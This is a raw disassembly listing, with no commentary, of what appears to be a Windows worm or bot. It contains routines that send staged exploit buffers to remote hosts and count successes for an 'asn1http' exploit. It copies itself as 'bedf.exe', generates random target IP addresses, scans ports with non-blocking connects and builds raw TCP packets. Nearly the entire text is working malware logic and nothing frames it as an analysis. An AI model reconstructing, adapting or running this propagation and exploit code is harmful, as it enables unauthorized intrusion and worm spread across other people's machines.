		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FD8


loc_402FD1:				; CODE XREF: sub_402D46+2B9j
					; sub_402D46+2E0j ...
		xor	al, al
		jmp	loc_403180
; ---------------------------------------------------------------------------


loc_402FD8:				; CODE XREF: sub_402D46+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_491674	; recv
		push	ebx
		push	68h
		push	offset dword_42A78C
		push	edi
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FD1
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_491674	; recv
		push	ebx
		push	0A0h
		push	offset dword_42A7F8
		push	edi
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FD1
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_491674	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_4030EE
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_42A9B0
		push	eax
		call	sub_415960
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_415960
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_42AA1C
		push	eax
		call	sub_415960
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_415960
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_42AA90
		push	eax
		call	sub_415960
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402FD1
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_491674	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403144
; ---------------------------------------------------------------------------


loc_4030EE:				; CODE XREF: sub_402D46+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_42A89C
		push	eax
		call	sub_415960
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_415960
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_42A91C
		push	eax
		call	sub_415960
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403144:				; CODE XREF: sub_402D46+3A6j
		push	eax
		push	edi
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402FD1
		push	12Ch
		call	ds:dword_495324	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4010B4
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403180:				; CODE XREF: sub_402D46+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402D46	endp

; ---------------------------------------------------------------------------
		db 10Fh	dup(0CCh)
; ---------------------------------------------------------------------------


loc_403294:				; CODE XREF: .text:00401294j
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_415CA0
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_49169C	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_49165C	; htons
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4916DC	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40338D
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_491604	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40338D
		push	edi
		push	89h
		push	offset dword_42A510
		push	ebx
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40338D
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_491674	; recv
		push	edi
		push	0A8h
		push	offset dword_42A59C
		push	ebx
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40338D
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_491674	; recv
		push	edi
		push	0DEh
		push	offset dword_42A648
		push	ebx
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40338D
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_491674	; recv
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_403397
		dec	eax
		jz	short loc_403394


loc_40338D:				; CODE XREF: .text:004032E8j
					; .text:004032FEj ...
		xor	eax, eax
		jmp	loc_40345A
; ---------------------------------------------------------------------------


loc_403394:				; CODE XREF: .text:0040338Bj
		push	edi
		jmp	short loc_4033BB
; ---------------------------------------------------------------------------


loc_403397:				; CODE XREF: .text:00403388j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40119A
		add	esp, 0C4h
		test	al, al
		jnz	short loc_4033DB
		push	1


loc_4033BB:				; CODE XREF: .text:00403395j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40119A
		add	esp, 0C4h
		test	al, al
		jz	short loc_4033E2


loc_4033DB:				; CODE XREF: .text:004033B7j
		mov	dword ptr [ebp-4], 1


loc_4033E2:				; CODE XREF: .text:004033D9j
		push	ebx
		call	dword_4916F4	; closesocket
		cmp	dword ptr [ebp-4], 0
		jz	short loc_403457
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aAsn1http ;	"asn1http"
		push	eax
		push	offset dword_42AEC8
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_4163D7
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4010D2
		lea	eax, [ebp-214h]
		push	eax
		call	sub_401014
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_42AF30[eax]
		lea	eax, dword_42AF30[eax]


loc_403457:				; CODE XREF: .text:004033EDj
		push	1
		pop	eax


loc_40345A:				; CODE XREF: .text:0040338Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 72h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034D1	proc near		; CODE XREF: sub_4011CCj

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset dword_42B288
		push	eax
		xor	ebx, ebx
		call	sub_416821
		cmp	dword_42AF28, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40353F
		push	esi
		mov	esi, offset dword_42AF30


loc_403504:				; CODE XREF: sub_4034D1+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4168B0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_403504
		pop	esi


loc_40353F:				; CODE XREF: sub_4034D1+2Bj
		push	dword_4834B0
		call	sub_4011AE
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_416821
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4168B0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401014
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_4034D1	endp

; ---------------------------------------------------------------------------
		db 32h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035CD	proc near		; CODE XREF: sub_4010EBj

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_4010E6
		test	eax, eax
		pop	ecx
		jle	short loc_403609
		mov	eax, [ebp+arg_C]
		push	dword_4370C0[eax*8]
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset dword_42B2EC
		push	eax
		call	sub_416821
		add	esp, 0Ch
		jmp	short loc_40361C
; ---------------------------------------------------------------------------


loc_403609:				; CODE XREF: sub_4035CD+13j
		lea	eax, [ebp+var_200]
		push	offset dword_42B2BC
		push	eax
		call	sub_416821
		pop	ecx
		pop	ecx


loc_40361C:				; CODE XREF: sub_4035CD+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401014
		add	esp, 18h
		leave
		retn
sub_4035CD	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403661	proc near		; CODE XREF: sub_40123Aj

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4039F1
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_42AF34[eax], ebx
		jz	loc_4038D2
		push	4
		call	sub_4010E6
		test	eax, eax
		pop	ecx
		jnz	loc_4039F1
		mov	eax, dword_42C920
		push	edi
		mov	edi, offset dword_43807C
		push	104h
		push	edi
		push	ebx
		mov	dword_43828C, eax
		mov	dword_438288, ebx
		call	ds:dword_495330	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_438180
		push	offset aBedf_exe ; "bedf.exe"
		push	esi
		call	sub_416A10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_438078, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_438310, eax
		jnz	short loc_403714
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_438290
		call	sub_416A10
		add	esp, 0Ch
		mov	dword_438314, 1
		jmp	short loc_40372E
; ---------------------------------------------------------------------------


loc_403714:				; CODE XREF: sub_403661+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_438290
		call	sub_416A10
		add	esp, 0Ch
		mov	dword_438314, ebx


loc_40372E:				; CODE XREF: sub_403661+B1j
		push	esi
		push	edi
		push	dword_43828C
		lea	eax, [ebp+var_204]
		push	offset dword_42B498
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40105F
		add	esp, 20h
		mov	dword_438284, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_438078
		push	offset sub_4012EE
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, dword_438284
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40379D


loc_40378B:				; CODE XREF: sub_403661+13Aj
		cmp	dword_438318, ebx
		jnz	short loc_4037B8
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_40378B
; ---------------------------------------------------------------------------


loc_40379D:				; CODE XREF: sub_403661+128j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42B450
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_4037B8:				; CODE XREF: sub_403661+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_401014
		mov	edi, offset dword_4386D4
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_4388E0, ebx
		call	ds:dword_495330	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_4387D8
		push	offset aBedf_exe ; "bedf.exe"
		push	esi
		call	sub_416A10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4386D0, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_438968, eax
		jnz	short loc_403833
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4388E8
		call	sub_416A10
		add	esp, 0Ch
		mov	dword_43896C, 1
		jmp	short loc_40384D
; ---------------------------------------------------------------------------


loc_403833:				; CODE XREF: sub_403661+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4388E8
		call	sub_416A10
		add	esp, 0Ch
		mov	dword_43896C, ebx


loc_40384D:				; CODE XREF: sub_403661+1D0j
		push	esi
		push	edi
		push	dword_4388E4
		lea	eax, [ebp+var_204]
		push	offset unk_42B3F8
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40105F
		add	esp, 20h
		mov	dword_4388DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4386D0
		push	offset off_40126C
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, dword_4388DC
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4038C1


loc_4038AB:				; CODE XREF: sub_403661+25Ej
		cmp	dword_438970, ebx
		jnz	loc_4039E4
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_4038AB
; ---------------------------------------------------------------------------


loc_4038C1:				; CODE XREF: sub_403661+248j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B3B4
		jmp	loc_4039D5
; ---------------------------------------------------------------------------


loc_4038D2:				; CODE XREF: sub_403661+25j
		cmp	dword_42AF38[eax], ebx
		jz	loc_4039F1
		push	3
		call	sub_4010E6
		test	eax, eax
		pop	ecx
		jnz	loc_4039F1
		mov	esi, offset dword_4385AC
		push	104h
		push	esi
		push	ebx
		call	ds:dword_495330	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_4169E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_403910
		mov	[eax], bl


loc_403910:				; CODE XREF: sub_403661+2ABj
		mov	eax, dword_42C924
		mov	dword_4386C4, ebx
		mov	dword_4386B0, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_438324
		call	sub_416821
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_438320, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4386B0
		mov	dword_4386BC, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4386C0, ecx
		call	sub_401299
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B360
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40105F
		add	esp, 20h
		mov	dword_4386B8, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_438320
		push	offset sub_4012F8
		push	ebx
		push	ebx
		call	ds:dword_49532C	; CreateThread
		mov	ecx, dword_4386B8
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4039C9


loc_4039B7:				; CODE XREF: sub_403661+366j
		cmp	dword_4386CC, ebx
		jnz	short loc_4039E4
		push	32h
		call	ds:dword_495324	; Sleep
		jmp	short loc_4039B7
; ---------------------------------------------------------------------------


loc_4039C9:				; CODE XREF: sub_403661+354j
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B318


loc_4039D5:				; CODE XREF: sub_403661+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_4039E4:				; CODE XREF: sub_403661+250j
					; sub_403661+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_401014
		pop	ecx


loc_4039F1:				; CODE XREF: sub_403661+14j
					; sub_403661+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_403661	endp

; ---------------------------------------------------------------------------
		db 0E5h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403ADA	proc near		; CODE XREF: sub_4012DAj

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4370C0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_415960
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_491590	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_491658	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_415960
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_403ADA	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B34	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_4158E0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_403B5C
		xor	eax, eax
		jmp	short loc_403BCD
; ---------------------------------------------------------------------------


loc_403B5C:				; CODE XREF: sub_403B34+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_416B36
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_403B89
		call	sub_416B18
		mov	[ebp+var_C], eax


loc_403B89:				; CODE XREF: sub_403B34+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_403B96
		call	sub_416B18
		mov	[ebp+var_8], eax


loc_403B96:				; CODE XREF: sub_403B34+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_403BA3
		call	sub_416B18
		mov	[ebp+var_4], eax


loc_403BA3:				; CODE XREF: sub_403B34+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_403BAF
		call	sub_416B18


loc_403BAF:				; CODE XREF: sub_403B34+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4370C0[ecx*8], eax


loc_403BCD:				; CODE XREF: sub_403B34+26j
		pop	esi
		leave
		retn
sub_403B34	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BF7	proc near		; CODE XREF: sub_4012A8j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4916DC	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_403C20
		xor	eax, eax
		jmp	short loc_403C8F
; ---------------------------------------------------------------------------


loc_403C20:				; CODE XREF: sub_403BF7+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_49165C	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4916F8	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_491604	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_491644	; select
		push	esi
		mov	edi, eax
		call	dword_4916F4	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_403C8F:				; CODE XREF: sub_403BF7+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403BF7	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------


loc_403CBB:				; CODE XREF: .text:0040100Aj
		push	ebp
		mov	ebp, esp
		mov	eax, 10110h
		call	sub_416880
		push	ebx
		push	esi
		push	edi
		mov	edi, 2649h
		push	edi
		call	dword_49165C	; htons
		push	dword ptr [ebp+10h]
		mov	[ebp-28h], ax
		call	dword_49165C	; htons
		mov	[ebp-26h], ax
		call	sub_416B18
		xor	ebx, ebx
		push	200h
		mov	[ebp-24h], eax
		mov	[ebp-20h], ebx
		mov	[ebp-1Ch], bx
		mov	[ebp-0Ch], bx
		mov	word ptr [ebp-1Ah], 5
		mov	[ebp-18h], bx
		mov	word ptr [ebp-16h], 1
		mov	[ebp-14h], bx
		mov	[ebp-12h], bx
		mov	[ebp-10h], bx
		mov	[ebp-0Eh], bx
		call	dword_49165C	; htons
		mov	esi, [ebp+0Ch]
		mov	[ebp-0Ah], ax
		mov	eax, [ebp+8]
		push	24h
		mov	[ebp-8], bx
		mov	[ebp-6], bx
		mov	[ebp-58h], eax
		mov	[ebp-54h], esi
		mov	[ebp-50h], bl
		mov	byte ptr [ebp-4Fh], 6
		call	dword_49165C	; htons
		mov	[ebp-4Eh], ax
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_415960
		lea	eax, [ebp-58h]
		push	20h
		push	eax
		call	sub_40120D
		mov	[ebp-8], ax
		push	10h
		lea	eax, [ebp-38h]
		push	ebx
		push	eax
		call	sub_415CA0
		add	esp, 20h
		mov	word ptr [ebp-38h], 2
		push	dword ptr [ebp+10h]
		call	dword_49165C	; htons
		push	6
		push	3
		push	2
		mov	[ebp-36h], ax
		mov	[ebp-34h], esi
		mov	dword ptr [ebp-4], 10h
		call	dword_4916DC	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_403DBA
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_403E7B
; ---------------------------------------------------------------------------


loc_403DBA:				; CODE XREF: .text:00403DAEj
		push	dword ptr [ebp-4]
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-28h]
		push	24h
		push	eax
		push	esi
		call	dword_4916C0	; sendto
		cmp	eax, 14h
		mov	[ebp+10h], eax
		jz	short loc_403E03
		call	dword_4915F0	; WSAGetLastError
		push	eax
		lea	eax, [ebp-0D8h]
		push	dword ptr [ebp+10h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	eax
		call	sub_416821
		lea	eax, [ebp-0D8h]
		push	eax
		call	sub_401014
		add	esp, 14h
		jmp	short loc_403E4C
; ---------------------------------------------------------------------------


loc_403E03:				; CODE XREF: .text:00403DD5j
		push	10038h
		lea	eax, [ebp-10110h]
		push	ebx
		push	eax
		call	sub_415CA0
		add	esp, 0Ch


loc_403E18:				; CODE XREF: .text:00403E3Fj
		cmp	[ebp-100FAh], di
		jz	short loc_403E55
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		lea	eax, [ebp-10110h]
		push	10038h
		push	eax
		push	esi
		call	dword_491634	; recvfrom
		test	eax, eax
		jge	short loc_403E18
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_401014
		pop	ecx


loc_403E4C:				; CODE XREF: .text:00403E01j
		push	esi
		call	dword_4916F4	; closesocket
		jmp	short loc_403E81
; ---------------------------------------------------------------------------


loc_403E55:				; CODE XREF: .text:00403E1Fj
		push	esi
		call	dword_4916F4	; closesocket
		cmp	word ptr [ebp-100EAh], 1
		jnz	short loc_403E76
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_401014
		pop	ecx
		push	1
		pop	eax
		jmp	short loc_403E83
; ---------------------------------------------------------------------------


loc_403E76:				; CODE XREF: .text:00403E64j
		push	offset aSocketClosed_ ;	"Socket	closed."


loc_403E7B:				; CODE XREF: .text:00403DB5j
		call	sub_401014
		pop	ecx


loc_403E81:				; CODE XREF: .text:00403E53j
		xor	eax, eax


loc_403E83:				; CODE XREF: .text:00403E74j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 73h dup(0CCh)
; ---------------------------------------------------------------------------


loc_403EFB:				; CODE XREF: sub_4012D5j
		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-150h]
		rep movsd
		mov	esi, [ebp-2Ch]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp-28h]
		mov	[ebp-4], esi
		mov	[ebp+8], eax
		call	ds:dword_495340	; GetTickCount
		push	eax
		call	sub_416B0E
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_403F42:				; CODE XREF: .text:004040FBj
		mov	eax, dword_43E924[ebx]
		cmp	dword_4370C4[eax*8], 0
		jz	loc_404100
		cmp	dword ptr [ebp-10h], 0
		push	eax
		jz	short loc_403F6C
		lea	eax, [ebp-150h]
		push	eax
		call	sub_401023
		pop	ecx
		jmp	short loc_403F71
; ---------------------------------------------------------------------------


loc_403F6C:				; CODE XREF: .text:00403F5Bj
		call	sub_4012DA


loc_403F71:				; CODE XREF: .text:00403F6Aj
		pop	ecx
		mov	edi, eax
		push	dword ptr [ebp+8]
		push	dword_43E924[ebx]
		push	dword ptr [ebp-3Ch]
		push	edi
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp-28Ch]
		push	offset dword_42B5C4
		push	eax
		call	sub_416821
		lea	eax, [ebp-28Ch]
		push	eax
		lea	eax, dword_43E720[ebx]
		push	eax
		call	sub_416821
		push	dword ptr [ebp-38h]
		push	dword ptr [ebp-3Ch]
		push	edi
		call	sub_4012A8
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_4040F0
		cmp	dword ptr [ebp-20h], 0FFFFFFFFh
		jnz	short loc_404045
		push	offset dword_438060
		call	ds:dword_49533C	; RtlEnterCriticalSection
		push	dword ptr [ebp-3Ch]
		push	edi
		call	dword_4916E8	; inet_ntoa
		push	eax
		lea	eax, [ebp-28Ch]
		push	offset dword_42B58C
		push	eax
		call	sub_416821
		add	esp, 10h
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_404027
		cmp	byte ptr [ebp-0C0h], 0
		push	1
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-28Ch]
		push	eax
		lea	eax, [ebp-0C0h]
		jnz	short loc_40401B
		lea	eax, [ebp-140h]


loc_40401B:				; CODE XREF: .text:00404013j
		push	eax
		push	dword ptr [ebp-40h]
		call	sub_4010D2
		add	esp, 14h


loc_404027:				; CODE XREF: .text:00403FF8j
		lea	eax, [ebp-28Ch]
		push	eax
		call	sub_401014
		mov	dword ptr [esp], offset	dword_438060
		call	ds:dword_495338	; RtlLeaveCriticalSection
		jmp	loc_4040F0
; ---------------------------------------------------------------------------


loc_404045:				; CODE XREF: .text:00403FC8j
		push	edi
